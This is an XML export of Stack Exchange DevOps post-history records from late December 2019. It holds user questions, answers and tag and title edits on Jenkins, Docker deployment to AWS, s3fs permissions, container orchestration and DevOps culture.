  <row Id="31447" PostHistoryTypeId="5" PostId="4" RevisionGUID="824940d0-1ca0-44cf-b9e8-2281d9657ac4" CreationDate="2019-12-25T16:42:53.183" UserId="6" Comment="fixed a typo and added a clarification" Text="I assume that an organization wishing to do a DevOps transformation has some problems and policies it is interested in changing. This interest can come from top managers, middle managers, or even from bottom up. One of the biggest factors impeding this change is making other people buy into doing the change.&#xD;&#xA;&#xD;&#xA;For example, in many cases pushing &quot;new&quot; ideas such as Agile, often fails. People resist change, and it seems like a wall that stops good things from happening. Yet there is a mandate for good things to happen.&#xD;&#xA;&#xD;&#xA;What methods can be used to affect employees in an organization starting its DevOps transformation? Especially specific techniques and ways that are found to work. Specific as-in more Engineering, less hand waving." ContentLicense="CC BY-SA 4.0" />
  <row Id="31448" PostHistoryTypeId="5" PostId="5821" RevisionGUID="0a0ef1f8-ff3f-478b-a5ba-6809cb560d4d" CreationDate="2019-12-25T16:49:08.183" UserId="6903" Comment="added 343 characters in body" Text="I would like to call the Jenkins CLI from a Jenkinsfile. I am thinking that I can use the shell directive and call the cli via the client jar. For example &#xD;&#xA;&#xD;&#xA;    sh 'java -jar /path/to/client.jar...' &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I am unsure about is how to get the client jar. I could do something like a wget to fetch it, but is there a better way?&#xA;&#xA;The reason that I wanted to do this is because I am using JCasC to configure Jenkins and at the time when I started using it, it did not support options for reloading the config other than from the UI or the CLI. Now that there are more options for reload and due to a change in my architecture, this question is no longer applicable for me. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31449" PostHistoryTypeId="2" PostId="10312" RevisionGUID="80846d7d-45af-4871-8a1f-56b29f117a37" CreationDate="2019-12-25T17:43:39.927" UserId="18304" Text="This question is related to my [previous one][1] - but a bit more descriptive.&#xD;&#xA;I am trying to build automate the generation and deployment of a docker container. The docker container is created with [packer][2].&#xD;&#xA;After the creation of the docker image, I am using packer's post processing modules to upload it to the AWS ECR:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;type&quot;: &quot;docker-push&quot;,&#xD;&#xA;        &quot;ecr_login&quot;: true,&#xD;&#xA;        &quot;aws_access_key&quot;: &quot;&lt;snip&gt;&quot;,&#xD;&#xA;        &quot;aws_secret_key&quot;: &quot;&lt;snipe&gt;&quot;,&#xD;&#xA;        &quot;login_server&quot;: &quot;https://&lt;snip&gt;.dkr.ecr.eu-west-1.amazonaws.com/&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This works just fine. The docker image got uploaded to my repository in the ECR.&#xD;&#xA;Now, the next step is where I am stuck. &#xD;&#xA;I want to run start the container on AWS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am thinking a little script that uses the aws-cli commands could be suited for that.&#xD;&#xA;I do not want to use the web ui - and I am sure this can be done over the command line, especially when someone wants to integrate this into a pipeline of some sort.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, I have a few questions, as I am not sure if I understand the big picture correctly. My docker image is available over the ECR. To run it, I need some base instance, right? According to a reply in the previous thread, the are various way of running docker containers, either by using the ECS or by spinning up a EC2 instance. Since this is related to some research project where docker and virtualization is analyzed I am questioning what would be the best option for my case. Probably EC2? It's important that I can automate it so that no user interaction is required.&#xD;&#xA;&#xD;&#xA;I read the docs and checked several tutorials but I still am not entirely sure how to everything correctly in the right order. Especially part where the environment is set up and the image is started.&#xD;&#xA;&#xD;&#xA;I know that I can list my images with:&#xD;&#xA;&#xD;&#xA;`aws ecr list-images --repository-name prototypes`.&#xD;&#xA;&#xD;&#xA;How would I fire up a new instance and run my image on it?&#xD;&#xA;&#xD;&#xA;If anything is unclear, please let me know so that I can update my question to be as detailed as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/10180/aws-ecr-start-uploaded-docker-image&#xD;&#xA;  [2]: https://www.packer.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31450" PostHistoryTypeId="1" PostId="10312" RevisionGUID="80846d7d-45af-4871-8a1f-56b29f117a37" CreationDate="2019-12-25T17:43:39.927" UserId="18304" Text="Automate custom docker image deployment on AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="31451" PostHistoryTypeId="3" PostId="10312" RevisionGUID="80846d7d-45af-4871-8a1f-56b29f117a37" CreationDate="2019-12-25T17:43:39.927" UserId="18304" Text="&lt;docker&gt;&lt;amazon-ec2&gt;&lt;deployment&gt;&lt;virtualization&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31452" PostHistoryTypeId="2" PostId="10313" RevisionGUID="56da888a-000a-4a5a-8238-16681eb9ceea" CreationDate="2019-12-25T17:45:40.803" UserId="17897" Text="I'm running an application on AWS EC2 Ubuntu instance, here's what I've done:&#xD;&#xA;- I've mounted S3 bucket as folder with s3fs using this command (unfortunately as root : sudo):&#xD;&#xA;&#xD;&#xA;    sudo s3fs your_bucketname /mys3bucket -o use_cache=/tmp -o allow_other -o uid=1001 -o mp_umask=002 -o multireq_max=5 -o use_path_request_style -o url=https://s3-{{aws_region}}.amazonaws.com&#xD;&#xA;&#xD;&#xA;regarding the uid=1001 and mp_unmask=002 and multireq_max=5&#xD;&#xA;&#xD;&#xA;I've just copied them from instructions, but I have access to the mounted folder and works as expected&#xD;&#xA;&#xD;&#xA;- I've set the permissions for the mounted folder to 777&#xD;&#xA;- From the terminal (using sudo) I have full access to the folder that i have mounted the S3 bucket to, I can read and write, edit and delete&#xD;&#xA;&#xD;&#xA;But I've expected that all users would have access to the folder because again the folder has 777 permissions and I've mounted the S3 bucket with -o allow_other&#xD;&#xA;But this doesn't seem to be the case, the applications that I install don't seem to be able to access the folder.&#xD;&#xA;&#xD;&#xA;The issue was detected when an application on a docker container couldn't access the folder, although when I ssh into the container as root user, I have full access to the folder.&#xD;&#xA;&#xD;&#xA;But then when I've installed applications directly on the Ubuntu instance, the application still couldn't access the folder.&#xD;&#xA;Even when I run the application with sudo&#xD;&#xA;&#xD;&#xA;I came to the conclusion that it's s3f3 issue.&#xD;&#xA;What would help give my applications permission to access to the said folder?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31453" PostHistoryTypeId="1" PostId="10313" RevisionGUID="56da888a-000a-4a5a-8238-16681eb9ceea" CreationDate="2019-12-25T17:45:40.803" UserId="17897" Text="Allowing all apps/users access to folder S3FS" ContentLicense="CC BY-SA 4.0" />
  <row Id="31454" PostHistoryTypeId="3" PostId="10313" RevisionGUID="56da888a-000a-4a5a-8238-16681eb9ceea" CreationDate="2019-12-25T17:45:40.803" UserId="17897" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31455" PostHistoryTypeId="11" PostId="5821" RevisionGUID="629812c0-c05b-4606-aa08-c75456f39276" CreationDate="2019-12-25T21:54:48.183" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31456" PostHistoryTypeId="10" PostId="5821" RevisionGUID="632998a2-8c13-476b-b800-2e7ea4fa3942" CreationDate="2019-12-25T21:55:03.773" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31457" PostHistoryTypeId="6" PostId="8857" RevisionGUID="7c56b272-93cf-4b0e-b099-28f7fa55c629" CreationDate="2019-12-25T21:58:41.707" UserId="210" Comment="edited tags" Text="&lt;logging&gt;&lt;fluentd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31458" PostHistoryTypeId="10" PostId="8857" RevisionGUID="6a2fcd4e-8296-432d-9cc8-e4f93311696b" CreationDate="2019-12-25T21:58:59.090" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31464" PostHistoryTypeId="10" PostId="8869" RevisionGUID="caa9a508-b840-4175-a2f5-3f7c1dacca6f" CreationDate="2019-12-26T09:23:31.113" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31465" PostHistoryTypeId="2" PostId="10315" RevisionGUID="71bcae31-0d7f-4e66-aedf-aa83c6c1aea9" CreationDate="2019-12-26T09:24:48.393" UserId="18818" Text="We break ours down into stages, and each stage pulls, rather than pushes. &#xD;&#xA;&#xD;&#xA;Our build takes 20 minutes. So if I commit once a minute, I will still only get three builds an hour, but each build will contain 20 commits. &#xD;&#xA;&#xD;&#xA;The tests then pull on the latest successful builds and run them, and the same for the deployment scripts.&#xD;&#xA;&#xD;&#xA;The main point is that we do NOT build every commit individually. We do NOT test every build individually. &#xD;&#xA;&#xD;&#xA;I probably got all this from Continuous Delivery by Jez Humble and David Farley. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31466" PostHistoryTypeId="4" PostId="8915" RevisionGUID="8df763e9-0329-447d-b2c4-9f34a20aeb70" CreationDate="2019-12-26T09:30:37.707" UserId="210" Comment="edited title" Text="How to calculate burn rate for SLOs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31467" PostHistoryTypeId="5" PostId="48" RevisionGUID="01dd5f8a-7e8e-44db-85d9-9b2f38c38b13" CreationDate="2019-12-26T09:36:13.360" UserId="210" Comment="added 1 character in body" Text="How does DevOps deal with release management?&#xD;&#xA;&#xD;&#xA;Is release management is the part of devops lifecycle?&#xD;&#xA;&#xD;&#xA;Do devops take active part in release management or the organization has hire to another professional altogether." ContentLicense="CC BY-SA 4.0" />
  <row Id="31468" PostHistoryTypeId="4" PostId="37" RevisionGUID="a0da8ee8-1cf3-493d-b137-02cd0f68d098" CreationDate="2019-12-26T11:56:38.403" UserId="210" Comment="edited title" Text="Is it possible to package an application in a .nupkg when creating an application revision in AWS CodeDeploy?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31472" PostHistoryTypeId="11" PostId="67" RevisionGUID="cb21a131-3806-449d-b3e1-40552779c33e" CreationDate="2019-12-26T12:08:50.333" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31473" PostHistoryTypeId="5" PostId="67" RevisionGUID="b9bf1626-107a-4cc1-982f-a401aba835ef" CreationDate="2019-12-26T12:09:50.860" UserId="210" Comment="deleted 7 characters in body" Text="Every company who has anything to do with containers these days, including public cloud providers, is creating their own solution for container orchestration.&#xD;&#xA;&#xD;&#xA;These include:&#xD;&#xA;&#xD;&#xA;- [Kubernetes][1]&#xD;&#xA;- [Docker Swarm][2]&#xD;&#xA;- [Amazon EC2 Container Service][3]&#xD;&#xA;- [Apache Mesos][4]&#xD;&#xA;- [Mesosphere DCOS][5]&#xD;&#xA;- [HashiCorp Nomad][6]&#xD;&#xA;- other&#xD;&#xA;&#xD;&#xA;What are the common problems with containers that must be solved by these orchestration solutions? What is the benefit of adding such a complex system in your production?&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/&#xD;&#xA;  [2]: https://www.docker.com/products/docker-swarm&#xD;&#xA;  [3]: https://aws.amazon.com/ecs/&#xD;&#xA;  [4]: http://mesos.apache.org/&#xD;&#xA;  [5]: https://mesosphere.com/product/&#xD;&#xA;  [6]: https://www.nomadproject.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31474" PostHistoryTypeId="5" PostId="333" RevisionGUID="a7279430-1309-45c7-ad37-11513a5a7d47" CreationDate="2019-12-26T12:12:21.643" UserId="210" Comment="deleted 4 characters in body" Text="[Agile software development][1] is the methodology of choice for software shops today. But there are still organisations which are not practicing Agile in their software development, who might be interested in adopting DevOps.&#xD;&#xA;&#xD;&#xA;When I say Agile Software Development, I mean any offspring that came out of the [Manifesto for Agile Software Development][2]. Such as [Extreme Programming][3], [Scrum][4], [Lean Software Development][5] and others.&#xD;&#xA;&#xD;&#xA;Is Agile software development a mandatory prerequisite of adopting DevOps on an organisation level?&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [2]: http://agilemanifesto.org/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Extreme_programming&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Scrum_(software_development)&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Lean_software_development" ContentLicense="CC BY-SA 4.0" />
  <row Id="31475" PostHistoryTypeId="6" PostId="73" RevisionGUID="9752524e-05fa-4ac4-8729-fe4404961e61" CreationDate="2019-12-26T12:13:16.030" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;agile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31476" PostHistoryTypeId="6" PostId="164" RevisionGUID="c60e6779-5b2e-4333-9739-22f929b676a5" CreationDate="2019-12-26T12:16:10.447" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;automation&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31477" PostHistoryTypeId="6" PostId="71" RevisionGUID="b7ed7e5e-801c-4fc6-a1ba-d16b046836c3" CreationDate="2019-12-26T12:17:55.820" UserId="210" Comment="edited tags; edited tags" Text="&lt;deployment&gt;&lt;automation&gt;&lt;culture&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31478" PostHistoryTypeId="6" PostId="69" RevisionGUID="ebea391e-f821-4f31-8830-98851d9ac724" CreationDate="2019-12-26T12:18:16.297" UserId="210" Comment="edited tags" Text="&lt;deployment&gt;&lt;automation&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31479" PostHistoryTypeId="6" PostId="94" RevisionGUID="7b63e861-147a-4168-ab3d-cf97f28dc627" CreationDate="2019-12-26T12:37:24.607" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;&lt;testing&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31480" PostHistoryTypeId="6" PostId="83" RevisionGUID="c2bd0968-efd0-481b-8b93-d1fa1810d9c3" CreationDate="2019-12-26T12:38:15.100" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31481" PostHistoryTypeId="5" PostId="108" RevisionGUID="a0aaa23a-e2fd-4ad1-a33d-6f0add6cf265" CreationDate="2019-12-26T12:42:55.670" UserId="210" Comment="deleted 9 characters in body" Text="A blue green deploy involves pumping live prod data flows (blue) into a hot swap non prod environment (green) in preparation to deploy to live the green environment, such that the green has full data sync with the previous prod blue environment.  &#xD;&#xA;&#xD;&#xA;I am wondering what people are using to live copy ongoing websocket traffic from blue to green do I write my own or is there a publish/subscribe websocket library or possibly a different approach to blue green?&#xD;&#xA;&#xD;&#xA;My app has nodejs REST servers which also manage websocket traffic from mobile devices ... a mongodb server, etc ... each in containers on GCE/AWS&#xD;&#xA;&#xD;&#xA;I realize I could just keep the mongodb in sync from blue to green however that would not exercise the green nodejs servers with live traffic which is a nice regression sanity check I am looking for&#xD;&#xA;&#xD;&#xA;Possibly if I just live forward HTTP traffic the underlying websocket which runs atop HTTP will just take care of itself and not demand specific blue green setup" ContentLicense="CC BY-SA 4.0" />
  <row Id="31482" PostHistoryTypeId="6" PostId="65" RevisionGUID="f91eee83-e477-433e-83c4-d37d0e8c641f" CreationDate="2019-12-26T12:45:47.637" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31483" PostHistoryTypeId="6" PostId="23" RevisionGUID="ebfcea4b-1f13-45a9-87dc-3f4bb1c9850e" CreationDate="2019-12-26T12:46:18.150" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;notifications&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31484" PostHistoryTypeId="6" PostId="465" RevisionGUID="ad66bc6f-f724-4ebc-8b4d-ff598f30f2b5" CreationDate="2019-12-26T12:46:36.477" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;chef&gt;&lt;vagrant&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31485" PostHistoryTypeId="6" PostId="459" RevisionGUID="e0f37d3f-e8e4-4a24-96d5-89845117136a" CreationDate="2019-12-26T12:47:02.360" UserId="210" Comment="edited tags" Text="&lt;testing&gt;&lt;scm&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31486" PostHistoryTypeId="5" PostId="459" RevisionGUID="e0f37d3f-e8e4-4a24-96d5-89845117136a" CreationDate="2019-12-26T12:47:02.360" UserId="210" Comment="edited tags" Text="When configuring test environments, the issue often comes up where I ask the question to the customer like in my question title here:&#xD;&#xA;&#xD;&#xA;&gt; **How to avoid a regular user can only test in production?**&#xD;&#xA;&#xD;&#xA;There are typically the environments like unit test, system test, integration test, volume test, user acceptance test, etc (I bet there are yet another dozen of names like those). But they all relate to environments in which something differs from how things currently work in the real production environments. So none of these is what my question is about.&#xD;&#xA;&#xD;&#xA;To make this a less abstract question, consider this sample below:&#xD;&#xA;&#xD;&#xA;&gt; Can non-SE employees only test SE sites in production?&#xD;&#xA;&#xD;&#xA;I run into this scenario over and over (earlier today it happened again ...):&#xD;&#xA;&#xD;&#xA;- I discover some facility on an SE site that gets my attention (that I want to start using).&#xD;&#xA;- I start looking around in help pages, etc, and either don't find what I'm looking for, or what I find is not 100 accurate or clear to me.&#xD;&#xA;- I just try to start to use it, see what happens, hoping I will find the answer to what I couldn't find in the help pages (by just using that facility in some SE site ... read: by ***testing in production***).&#xD;&#xA;- I then just wait and see what happens, which may be things like:&#xD;&#xA;  - I learn about something new/interesting and it works great.&#xD;&#xA;  - I get accused of trying to &quot;fuzzle the system&quot;.&#xD;&#xA;  - I get corrected by a mod because of something I did (which I shouldn't have done).&#xD;&#xA;  - I discover a bug, which I either report (on meta.SE), or which I decide to consider as &quot;a bug becomes a feature&quot; (read: I don't want to disclose this handy feature).&#xD;&#xA;&#xD;&#xA;However, doing some of those &quot;experiments in production&quot; may damage your reputation (not really your &quot;points&quot;, but your real reputation).&#xD;&#xA;&#xD;&#xA;So as a good SE citizens, I would be happy to do those experiments in an environment that is designed *just for that*: a none-production environment designed for users like me who want to do such experiments.&#xD;&#xA;&#xD;&#xA;Voilà, if you were asked to configure test environments for SE sites, what would you do (or recommend SE management) about this DevOps issue?&#xD;&#xA;&#xD;&#xA;PS: to my knowledge, at this very moment, there is no such SE environment that I can use right now to go check if a user that I &quot;invite right now&quot; for DevOps (while it is in private beta), and which I know did NOT commit to DevOps, will actually be able to login to the DevOps site. So instead of discussing it with mods on some other site, I already ... ***tested it in production***. And despite what some moderator try to make me believe ... it did work (and the invited user now also has an account on DevOps.SE)." ContentLicense="CC BY-SA 4.0" />
  <row Id="31487" PostHistoryTypeId="6" PostId="459" RevisionGUID="eeb73c86-434d-44e5-84f5-ce04a05a63c8" CreationDate="2019-12-26T12:54:29.283" UserId="210" Comment="edited tags" Text="&lt;testing&gt;&lt;scm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31488" PostHistoryTypeId="5" PostId="406" RevisionGUID="2c118be9-9334-4865-9844-2a02ae3d3e13" CreationDate="2019-12-26T12:57:51.980" UserId="210" Comment="deleted 11 characters in body" Text="Having the full Git revision history has a lot of benefits as part of the development process. &#xD;&#xA;&#xD;&#xA;But our product is the source code, we are using scripted languages that don't need compilation or processing, and then the Git history becomes a burden on deployment- in our example we deploy a clean virtual environment following every change, having several deployments on a single machine.&#xD;&#xA;&#xD;&#xA;There are some ways to reduce the amount of history, for example shallow clones whose efficiency depends on how deep the revision is in the branch, doing a fetch instead of clone but then you still get history from the revision and back, or getting the full repo once then pull when needed but this is wasteful in terms of disk space and tends to be less reliable.&#xD;&#xA;&#xD;&#xA;Is there a way to get a single revision from Git without it's history ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31489" PostHistoryTypeId="6" PostId="251" RevisionGUID="0fcbb895-2ecd-494e-9cbf-91563824616b" CreationDate="2019-12-26T12:58:16.540" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;automation&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31490" PostHistoryTypeId="4" PostId="192" RevisionGUID="0df3d32c-3b3d-4a0e-b5e3-6b0e81200ab3" CreationDate="2019-12-26T12:59:46.680" UserId="210" Comment="edited tags; edited title" Text="How to store credentials that are required by an application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31491" PostHistoryTypeId="6" PostId="192" RevisionGUID="0df3d32c-3b3d-4a0e-b5e3-6b0e81200ab3" CreationDate="2019-12-26T12:59:46.680" UserId="210" Comment="edited tags; edited title" Text="&lt;deployment&gt;&lt;security&gt;&lt;credentials&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31492" PostHistoryTypeId="6" PostId="243" RevisionGUID="9b1bacdf-8194-4a60-aee3-a711c606c6af" CreationDate="2019-12-26T13:00:35.157" UserId="210" Comment="edited tags" Text="&lt;aws-lambda&gt;&lt;amazon-cloudwatch&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31493" PostHistoryTypeId="10" PostId="135" RevisionGUID="97f17a5a-7a6b-44d7-9643-6fa708671fb3" CreationDate="2019-12-26T13:01:40.907" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[83],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31494" PostHistoryTypeId="6" PostId="135" RevisionGUID="c7624532-3b61-4ae9-ad75-2b0c0794f165" CreationDate="2019-12-26T13:01:49.483" UserId="210" Comment="edited tags" Text="&lt;amazon-s3&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31495" PostHistoryTypeId="4" PostId="104" RevisionGUID="4395b7a3-584d-4eb3-a481-d9504afcc178" CreationDate="2019-12-26T13:04:12.750" UserId="210" Comment="edited title" Text="How to upgrade job-dsl files to Jenkins 2 pipelines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31496" PostHistoryTypeId="6" PostId="202" RevisionGUID="89b37222-677c-4390-a276-fcecc0b53c04" CreationDate="2019-12-26T13:05:29.113" UserId="210" Comment="edited tags" Text="&lt;ansible&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31497" PostHistoryTypeId="11" PostId="196" RevisionGUID="039a7031-be2f-478a-b3b3-6a0d838d4160" CreationDate="2019-12-26T13:06:12.300" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31498" PostHistoryTypeId="6" PostId="196" RevisionGUID="1d23a87e-0824-400e-bbca-10aeb5101482" CreationDate="2019-12-26T13:07:07.467" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31499" PostHistoryTypeId="5" PostId="53" RevisionGUID="fe55918a-77b3-4203-9eeb-e7b1412708a9" CreationDate="2019-12-26T13:10:10.223" UserId="210" Comment="added 2 characters in body" Text="The current list of Jenkins jobs has 4 columns:&#xD;&#xA;&#xD;&#xA;* Name&#xD;&#xA;* Last Success&#xD;&#xA;* Last Failure&#xD;&#xA;* Last Duration&#xD;&#xA;&#xD;&#xA;Is there any way to add a new column which would have some custom value extracted from the job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31500" PostHistoryTypeId="4" PostId="195" RevisionGUID="608f6801-211c-4239-9620-455908bcf35c" CreationDate="2019-12-26T13:15:10.493" UserId="210" Comment="edited title" Text="What steps could be taken to inherit and override some parts of a Chef cookbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31501" PostHistoryTypeId="6" PostId="181" RevisionGUID="b1422fc6-f0dd-4f28-9826-ca0c18984682" CreationDate="2019-12-26T13:15:43.543" UserId="210" Comment="edited tags" Text="&lt;storage&gt;&lt;glusterfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31502" PostHistoryTypeId="6" PostId="183" RevisionGUID="8c7ecc1f-4d83-4c6d-8d9d-c2ead3135ce0" CreationDate="2019-12-26T13:18:06.510" UserId="210" Comment="edited tags" Text="&lt;sql&gt;&lt;hive&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31503" PostHistoryTypeId="6" PostId="31" RevisionGUID="a8b7b2bf-8c4c-4c63-a419-6cb5331d650e" CreationDate="2019-12-26T13:20:25.580" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31504" PostHistoryTypeId="6" PostId="182" RevisionGUID="f15eb87b-310a-4ef3-a110-64f006895a19" CreationDate="2019-12-26T13:23:34.897" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;autoscaling&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31505" PostHistoryTypeId="4" PostId="47" RevisionGUID="b0cd36b8-7f4d-4343-80ed-2020a319aec8" CreationDate="2019-12-26T13:24:16.740" UserId="210" Comment="edited title" Text="How to connect a build node to a Jenkins master?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31506" PostHistoryTypeId="6" PostId="17" RevisionGUID="4812061d-5b98-4a5e-8bed-8359180aa7f8" CreationDate="2019-12-26T13:25:41.570" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31507" PostHistoryTypeId="6" PostId="441" RevisionGUID="91519a29-7268-4b69-8625-3faee6d5148b" CreationDate="2019-12-26T13:26:16.517" UserId="210" Comment="edited tags" Text="&lt;branch&gt;&lt;scm&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31508" PostHistoryTypeId="6" PostId="277" RevisionGUID="f04f4a03-6727-426a-950b-e0e344c47df4" CreationDate="2019-12-26T13:26:43.573" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;travis-ci&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31509" PostHistoryTypeId="6" PostId="443" RevisionGUID="a76ca841-84c6-48e9-b368-ddfbd75dc056" CreationDate="2019-12-26T13:31:19.673" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31510" PostHistoryTypeId="5" PostId="443" RevisionGUID="a76ca841-84c6-48e9-b368-ddfbd75dc056" CreationDate="2019-12-26T13:31:19.673" UserId="210" Comment="edited tags" Text="What are the main feature differences the popular container orchestration tools kubernetes, rancher, and mesos?&#xD;&#xA;&#xD;&#xA;What would lead you to choose one over the other?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31511" PostHistoryTypeId="4" PostId="443" RevisionGUID="a76ca841-84c6-48e9-b368-ddfbd75dc056" CreationDate="2019-12-26T13:31:19.673" UserId="210" Comment="edited tags" Text="What functional differences are there between kubernetes, rancher and mesos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31512" PostHistoryTypeId="6" PostId="162" RevisionGUID="b02389c5-89f0-4d22-9772-8fd6122e6dab" CreationDate="2019-12-26T13:32:36.620" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;&lt;continuous-delivery&gt;&lt;feature-flags&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31514" PostHistoryTypeId="2" PostId="10316" RevisionGUID="b4143d7b-1fe2-4b14-b96f-e91e27fe002b" CreationDate="2019-12-26T13:59:35.083" UserId="15792" Text="If you are only running a single container or two containers together you are correct in that an orchestrator may be unnecessary and add unneeded complexity.  However, these tools do solve several issues when you running several containers together (especially in production).&#xD;&#xA;&#xD;&#xA;&gt; What are the common problems with containers that must be solved by these orchestration solutions&#xD;&#xA;&#xD;&#xA;Containers run in an isolated process (usually in it's own [namespace][1]).  This means that by default the container will not be aware of other containers.  Additionally, it will not be aware of the systems files, network interfaces, and processes.  While this can greatly help with portability of the software it does not solve several production issues such as [microservices][2], container discovery, scalability, disaster recovery, or upgrades.&#xD;&#xA;&#xD;&#xA;&gt; What is the benefit of adding such a complex system in your production?&#xD;&#xA;&#xD;&#xA;Adding a container orchestrator can greatly *reduce* the complexity in production as these tools are designed to resolve the issues outlined above.  For example, Kubernetes is built to allow containers to be linked together, deploy containers across an entire network, scale and load balance the network based on container resource consumption, and allow upgrades of individual containers with no downtime.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.toptal.com/linux/separation-anxiety-isolating-your-system-with-linux-namespaces&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Microservices" ContentLicense="CC BY-SA 4.0" />
  <row Id="31515" PostHistoryTypeId="6" PostId="431" RevisionGUID="d1cc7b31-e7b4-4c4c-976b-c521baf21956" CreationDate="2019-12-26T14:06:22.477" UserId="210" Comment="edited tags" Text="&lt;git&gt;&lt;git-hooks&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
